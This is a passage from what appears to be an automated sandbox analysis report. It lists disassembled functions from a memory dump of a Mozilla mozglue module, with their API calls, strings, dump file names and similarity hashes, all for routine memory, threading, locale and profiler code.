moz_xmalloc.MOZGLUE(?,?,?,?,6C62B61E,?,?,?,?,?,00000000), ref: 6C62B6AC

Part of subcall function 6C63CA10: malloc.MOZGLUE(?), ref: 6C63CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C62B61E,?,?,?,?,?,00000000), ref: 6C62B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C62B61E,?,?,?,?,?,00000000), ref: 6C62B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C62B61E,?,?,?,?,?,00000000), ref: 6C62B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C62B61E,?,?,?,?,?,00000000), ref: 6C62B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C62B61E), ref: 6C62B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C62B61E,?,?,?,?,?,00000000), ref: 6C62B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C62B61E,?,?,?,?,?,00000000), ref: 6C62B79A

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 1db89779243b8e30f212e97a7764a958901aea7709156d3f5861fa2be5837c5f
Instruction ID: 50c25db48f481545b0d699e6070faefe68064b9c8f5567e0ed03052dffb43a11
Opcode Fuzzy Hash: 1db89779243b8e30f212e97a7764a958901aea7709156d3f5861fa2be5837c5f
Instruction Fuzzy Hash: B341C7B2D001159FCB04DF68DC809AFB7B5FF85324F250629E866E7780D735A9048BE9

Function 6C62EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C6A5104), ref: 6C62EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C62EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C62EFEC
free.MOZGLUE(?), ref: 6C62F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C62F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C62F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C62F065
moz_xmalloc.MOZGLUE ref: 6C62F072

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: e07851367d2e9f45a913cef39df73d9f135060199ef93386f4b2e5d6b0bb6d65
Instruction ID: 45595c09ad58ab5bb92936926110604d259350a32e722094238d449da0d2d970
Opcode Fuzzy Hash: e07851367d2e9f45a913cef39df73d9f135060199ef93386f4b2e5d6b0bb6d65
Instruction Fuzzy Hash: FB4109B1A001159FCB08CF78D8909AF7365BF85314B24422CE916D7794EB71E905CBE9

Function 6C69B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C69B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C69B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C69B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C69B5F4
__Init_thread_footer.LIBCMT ref: 6C69B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C69B61F
std::_Facet_Register.LIBCPMT ref: 6C69B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69B655

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 836c33d0b11c275b7ce301c8de88d50eef6e8479532126f1b7b16dd63cb22ac2
Instruction ID: 204387132fec9907c545a3e4765eccf77c53e76596e0c3e33c8613915c5cb512
Opcode Fuzzy Hash: 836c33d0b11c275b7ce301c8de88d50eef6e8479532126f1b7b16dd63cb22ac2
Instruction Fuzzy Hash: 90317271B001058BCB11AFAAD8949AEBBF5EBCA325F150515D90297740DB30B816CF9E

Function 6C666590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C65FA80: GetCurrentThreadId.KERNEL32 ref: 6C65FA8D
Part of subcall function 6C65FA80: AcquireSRWLockExclusive.KERNEL32(6C6AF448), ref: 6C65FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C666727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C6667C8

Part of subcall function 6C674290: memcpy.VCRUNTIME140(?,?,6C682003,6C680AD9,?,6C680AD9,00000000,?,6C680AD9,?,00000004,?,6C681A62,?,6C682003,?), ref: 6C6742C4

Strings

vjl, xrefs: 6C66696C
data, xrefs: 6C666593

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vjl
API String ID: 511789754-2308114285
Opcode ID: 26dd65ce871bbf5ed617cb6ff1a88ef92f8fe118a309daf781028fc8aeb75784
Instruction ID: 949221d07a4b78d474e28026617c32c954e5169c8289be56fd9ca725e0732202
Opcode Fuzzy Hash: 26dd65ce871bbf5ed617cb6ff1a88ef92f8fe118a309daf781028fc8aeb75784
Instruction Fuzzy Hash: 34D1C075A083408FD724DF26D850B9EBBE5AFC6308F10492DD58987B51EB30E809CB5B

Function 6C65D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C62EB57,?,?,?,?,?,?,?,?,?), ref: 6C65D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C62EB57,?), ref: 6C65D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C62EB57,?), ref: 6C65D673
free.MOZGLUE(?), ref: 6C65D888

Strings

|Enabled, xrefs: 6C65D81E
Wbl, xrefs: 6C65D5D9, 6C65D63F

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: Wbl$|Enabled
API String ID: 4142949111-351975652
Opcode ID: 0a9817c2f65b1e4add0344b0eb4db22b3e9265aa7528bc5382b27879d366a729
Instruction ID: e010b8ea43003956c16f0eccb21540f8fcefdd7b692de0e887413d09302a46d7
Opcode Fuzzy Hash: 0a9817c2f65b1e4add0344b0eb4db22b3e9265aa7528bc5382b27879d366a729
Instruction Fuzzy Hash: 29A125B0A003149FDB10CF69C5D07EEBBF1AF4A318F64805CD899AB781C731A855CBA9

Function 6C639830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C687ABE), ref: 6C63985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C687ABE), ref: 6C6398A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C639909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C639918
free.MOZGLUE(?), ref: 6C639975

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 5fe65de9cfaf9bdaa7d05fb2c7ae78cf6932ebd36854843e229066f337ee0fa1
Instruction ID: 0d65542f2144baed188d23b08ae9bd3da0f711dc0467ab1fa2ee813c74c37317
Opcode Fuzzy Hash: 5fe65de9cfaf9bdaa7d05fb2c7ae78cf6932ebd36854843e229066f337ee0fa1
Instruction Fuzzy Hash: F7718C756047158FC725CF28C480956B7F1FF8A3287286AADE85A8BB90DB31F841CF55

Function 6C63B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C67CC83,?,?,?,?,?,?,?,?,?,6C67BCAE,?,?,6C66DC2C), ref: 6C63B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C67CC83,?,?,?,?,?,?,?,?,?,6C67BCAE,?,?,6C66DC2C), ref: 6C63B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C67CC83,?,?,?,?,?,?,?,?,?,6C67BCAE), ref: 6C63B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C67CC83,?,?,?,?,?,?,?,?,?,6C67BCAE,?,?,6C66DC2C), ref: 6C63B896

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: d04a55f498f58984f4e54072e6cf6f968f1cf6447c91d15fab531366f1e376c3
Instruction ID: 6ee39854570e90cbc5d814fe98fddacb3f0b8d98f8614a48387bc28cfed89c16
Opcode Fuzzy Hash: d04a55f498f58984f4e54072e6cf6f968f1cf6447c91d15fab531366f1e376c3
Instruction Fuzzy Hash: 50518B35B00A148FCB15CF59C4D4A6ABBF5FF89318B69A55DE98A87341C730E801CB88

Function 6C671D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C671D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C671BE3,?,?,6C671D96,00000000), ref: 6C671D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C671BE3,?,?,6C671D96,00000000), ref: 6C671D4C
GetCurrentThreadId.KERNEL32 ref: 6C671DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C671DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C671DDA

Part of subcall function 6C671EF0: GetCurrentThreadId.KERNEL32 ref: 6C671F03
Part of subcall function 6C671EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C671DF2,00000000,00000000), ref: 6C671F0C
Part of subcall function 6C671EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C671F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C671DF4

Part of subcall function 6C63CA10: malloc.MOZGLUE(?), ref: 6C63CA26

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 515070ff813710ab57b9903c1f84a9f3f7366f0c9db2852ee65b46541f02b835
Instruction ID: 764a363f5c947f28b08be73f0a2964273d821e17c4cba24536fb998b7efd9132
Opcode Fuzzy Hash: 515070ff813710ab57b9903c1f84a9f3f7366f0c9db2852ee65b46541f02b835
Instruction Fuzzy Hash: 1441ACB52007049FCB20DF69C598A5ABBF9FF89314F10442EE95A87B41CB31F814CB99

Function 6C6684E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6684F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C66850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C66851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C66855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C66856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6685AC

Part of subcall function 6C667670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6685B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C66767F
Part of subcall function 6C667670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6685B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C667693
Part of subcall function 6C667670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C6685B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6676A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6685B2

Part of subcall function 6C645E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C645EDB
Part of subcall function 6C645E90: memset.VCRUNTIME140(ewhl,000000E5,?), ref: 6C645F27
Part of subcall function 6C645E90: LeaveCriticalSection.KERNEL32(?), ref: 6C645FB2

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 63b3745b0147ea6072764ca3478344bfe6f4a97eeff6c2f1364790172c027d61
Instruction ID: a41560352a30beda68be8e80a186370d44bfffa2877237e75eec9b698ad590c9
Opcode Fuzzy Hash: 63b3745b0147ea6072764ca3478344bfe6f4a97eeff6c2f1364790172c027d61
Instruction Fuzzy Hash: ED2191742006019FDB14DB76D888A5B77B5AF8930CF14482DE55BC3B41DB32F958CB5A

Function 6C631640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C631699
VerSetConditionMask.NTDLL ref: 6C6316CB
VerSetConditionMask.NTDLL ref: 6C6316D7
VerSetConditionMask.NTDLL ref: 6C6316DE
VerSetConditionMask.NTDLL ref: 6C6316E5
VerSetConditionMask.NTDLL ref: 6C6316EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6316F9

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 78bf274e10fc14506c17dc5d7619792245a74dd7e612c83e28edcc05b5fbba14
Instruction ID: 72ef0daa1a2718fa505ecf562403f5417fea01e383824b0c09bfbf0b43bd95c5
Opcode Fuzzy Hash: 78bf274e10fc14506c17dc5d7619792245a74dd7e612c83e28edcc05b5fbba14
Instruction Fuzzy Hash: A42124B07402186BEB106EA59C85FFFB37CEFC6704F044528F6499B1C0C674AD5487AA

Function 6C66F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C65CBE8: GetCurrentProcess.KERNEL32(?,6C6231A7), ref: 6C65CBF1
Part of subcall function 6C65CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6231A7), ref: 6C65CBFA

Part of subcall function 6C669420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C634A68), ref: 6C66945E
Part of subcall function 6C669420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C669470
Part of subcall function 6C669420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C669482
Part of subcall function 6C669420: __Init_thread_footer.LIBCMT ref: 6C66949F

GetCurrentThreadId.KERNEL32 ref: 6C66F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C66F598), ref: 6C66F621

Part of subcall function 6C6694D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6694EE
Part of subcall function 6C6694D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C669508

GetCurrentThreadId.KERNEL32 ref: 6C66F637
AcquireSRWLockExclusive.KERNEL32(6C6AF4B8,?,?,00000000,?,6C66F598), ref: 6C66F645
ReleaseSRWLockExclusive.KERNEL32(6C6AF4B8,?,?,00000000,?,6C66F598), ref: 6C66F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C66F62A

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: fe981bb5b9f8197c326647aa8a3d689997869383fbc2dc1e156437452b932f5f
Instruction ID: 742555ee02e1c07f2be3d3977665e6412a6b262fce9432663282fdcc2da6a09b
Opcode Fuzzy Hash: fe981bb5b9f8197c326647aa8a3d689997869383fbc2dc1e156437452b932f5f
Instruction Fuzzy Hash: 79119875201105AFC704AF9AD58499977B9FF86358F500415E90583F01CB71BC16CBAF

Function 6C632070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C65AB89: EnterCriticalSection.KERNEL32(6C6AE370,?,?,?,6C6234DE,6C6AF6CC,?,?,?,?,?,?,?,6C623284), ref: 6C65AB94
Part of subcall function 6C65AB89: LeaveCriticalSection.KERNEL32(6C6AE370,?,6C6234DE,6C6AF6CC,?,?,?,?,?,?,?,6C623284,?,?,6C6456F6), ref: 6C65ABD1

LoadLibraryW.KERNEL32(combase.dll,6C631C5F), ref: 6C6320AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C6320CD
__Init_thread_footer.LIBCMT ref: 6C6320E1
FreeLibrary.KERNEL32 ref: 6C632124

Strings

combase.dll, xrefs: 6C6320A9
CoInitializeSecurity, xrefs: 6C6320C7

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: 51bd90fe2592473ca9b0d73e6731fc41b8a076a5706a9aa8a4ea96637d810c5c
Instruction ID: bad91481e15165850fddfceeca9fc4decf68ff07fa1fb0fb0905e40f250bbfaf
Opcode Fuzzy Hash: 51bd90fe2592473ca9b0d73e6731fc41b8a076a5706a9aa8a4ea96637d810c5c
Instruction Fuzzy Hash: 4021BE76200209EFDF10CF96EC88D9E7FB6FB5A365F105114FA0482611D331A862DFAA

Function 6C6876C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C6876F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C687705

Part of subcall function 6C63CA10: malloc.MOZGLUE(?), ref: 6C63CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C687717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C68778F,00000000,00000000,00000000,00000000), ref: 6C687731
free.MOZGLUE(00000000), ref: 6C687760

Strings

}>fl, xrefs: 6C6876C4

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>fl
API String ID: 2538299546-3779563157
Opcode ID: b7088002cb43d203f3884e89df004e634c244db12017f58dd58c25e603dc156d
Instruction ID: 18657c0c2384b6c675a26b0c52c1085760199063090dc99adb840bec20604602
Opcode Fuzzy Hash: b7088002cb43d203f3884e89df004e634c244db12017f58dd58c25e603dc156d
Instruction Fuzzy Hash: B611C8B1A052156BDB10AFB69C44BAB7EE8EF46354F044529F848D7300E7709840C7F6

Function 6C631FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C65AB89: EnterCriticalSection.KERNEL32(6C6AE370,?,?,?,6C6234DE,6C6AF6CC,?,?,?,?,?,?,?,6C623284), ref: 6C65AB94
Part of subcall function 6C65AB89: LeaveCriticalSection.KERNEL32(6C6AE370,?,6C6234DE,6C6AF6CC,?,?,?,?,?,?,?,6C623284,?,?,6C6456F6), ref: 6C65ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C631FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C631FFD
__Init_thread_footer.LIBCMT ref: 6C632011
FreeLibrary.KERNEL32 ref: 6C632059

Strings

combase.dll, xrefs: 6C631FD9
CoCreateInstance, xrefs: 6C631FF7

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 4ac86f8991c014b3d6d195b476c90f0604f4127293854ebe72f9233ee88c6b9d
Instruction ID: 90c674bf00f0c180179c4bd5bd24bd3f26c1c2755f4d909d168921ee53e34c77
